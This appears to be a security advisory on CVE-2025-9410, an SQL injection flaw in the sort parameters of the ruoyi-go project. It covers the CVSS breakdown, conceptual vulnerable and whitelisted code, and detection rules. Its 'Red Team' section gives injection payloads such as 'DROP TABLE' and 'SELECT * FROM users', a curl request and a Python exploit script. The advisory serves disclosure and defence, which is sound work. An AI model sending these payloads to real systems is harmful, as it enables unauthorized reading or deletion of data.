CVE-2025-9410

Executive Summary

CVE-2025-9410 identifies a critical SQL injection vulnerability in the lostvip-com/ruoyi-go project, up to version 2.1. The flaw resides in the SelectListByPage function within the file modules/system/dao/GenTableDao.go. By manipulating the isAsc and orderByColumn arguments, an unauthenticated remote attacker can inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or deletion. The exploit has been publicly released, and the vendor has not responded to disclosure attempts, leaving the vulnerability unpatched. The CVSS score of 6.3 (Medium) reflects the ease of exploitation and potential for data compromise.

Supply Chain & Package Security

This vulnerability affects a Go-based project (ruoyi-go). As a Go module, it may be imported as a dependency in other projects. Organizations using lostvip-com/ruoyi-go as a dependency should treat this as a supply chain risk. The lack of a patch means that any project depending on this module is vulnerable until the dependency is removed or replaced.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: Medium. The public availability of exploit code and the lack of a patch increase the risk. However, the impact is limited to low-level data compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the SelectListByPage function of GenTableDao.go. This function is used for paginated database queries. The isAsc and orderByColumn parameters are directly concatenated into SQL queries without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

func (dao *GenTableDao) SelectListByPage(isAsc string, orderByColumn string) ([]GenTable, error) {
    query := fmt.Sprintf("SELECT * FROM gen_table ORDER BY %s %s", orderByColumn, isAsc)
    // Execute query...
}

An attacker can inject SQL by providing malicious input for orderByColumn or isAsc. For example:

• orderByColumn=id; DROP TABLE gen_table;--
• isAsc=ASC; SELECT * FROM users;--

The lack of input validation allows arbitrary SQL execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

func (dao *GenTableDao) SelectListByPage(isAsc string, orderByColumn string) ([]GenTable, error) {
    query := fmt.Sprintf("SELECT * FROM gen_table ORDER BY %s %s", orderByColumn, isAsc)
    rows, err := dao.db.Query(query)
    // ...
}

Patched Code (Conceptual):

func (dao *GenTableDao) SelectListByPage(isAsc string, orderByColumn string) ([]GenTable, error) {
    // Whitelist allowed columns and sort orders
    allowedColumns := map[string]bool{"id": true, "name": true, "created_at": true}
    allowedOrders := map[string]bool{"ASC": true, "DESC": true}
    
    if !allowedColumns[orderByColumn] || !allowedOrders[isAsc] {
        return nil, fmt.Errorf("invalid sort parameters")
    }
    
    query := "SELECT * FROM gen_table ORDER BY " + orderByColumn + " " + isAsc
    rows, err := dao.db.Query(query)
    // ...
}

Note: The vendor has not released a patch. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running ruoyi-go version <= 2.1.
• Network access to the vulnerable endpoint (e.g., /api/gen/table/list).

Exploit Steps:

1. Identify the vulnerable endpoint that calls SelectListByPage.
2. Craft a malicious request with injected SQL in orderByColumn or isAsc.

Example Payload (using curl):

curl -X GET "http://target/api/gen/table/list?orderByColumn=id;SELECT+*+FROM+users;--&isAsc=ASC"

Expected Outcome: The injected SQL executes, potentially returning user data or modifying the database.

Automated Exploit (Python):

import requests

target = "http://target/api/gen/table/list"
payload = "id; SELECT * FROM users;--"
params = {"orderByColumn": payload, "isAsc": "ASC"}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual SQL error messages in logs.
• Look for requests with special characters (e.g., ;, --, ') in orderByColumn or isAsc parameters.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Defense:

• Implement input validation and parameterized queries.
• Apply the principle of least privilege to database accounts.
• Deploy a WAF with SQL injection rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/gen/table/list with suspicious orderByColumn or isAsc parameters.
  • SQL error messages in server logs (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified database entries or unexpected tables.
  • Log entries showing SQL injection attempts.
• Behavioral IOCs:
  • Unusual database queries from the application server.
  • Unexpected data exports or deletions.

Detection Engineering

YARA Rule

rule CVE_2025_9410_SQLi_Go {
    meta:
        description = "Detects SQL injection attempts targeting ruoyi-go GenTableDao.go"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9410"
    strings:
        $s1 = "orderByColumn" ascii nocase
        $s2 = "isAsc" ascii nocase
        $s3 = "SELECT" ascii nocase
        $s4 = "DROP" ascii nocase
        $s5 = "UNION" ascii nocase
        $s6 = ";" ascii
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-9410 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against ruoyi-go GenTableDao endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'orderByColumn='
            - 'isAsc='
        cs-uri-query|re: '.*(SELECT|DROP|UNION|;).*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9410 SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/api/gen/table/list"; http_uri; pcre:"/(orderByColumn|isAsc)=.*(SELECT|DROP|UNION|;)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application if possible until a patch is available.
2. Implement a WAF with rules to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Replace the vulnerable code with parameterized queries or stored procedures.
• Apply input validation using a whitelist of allowed values for orderByColumn and isAsc.
• Contact the vendor for an official patch or consider forking the project.

Workaround:

• Disable the vulnerable endpoint if not essential.
• Use a reverse proxy to filter malicious requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert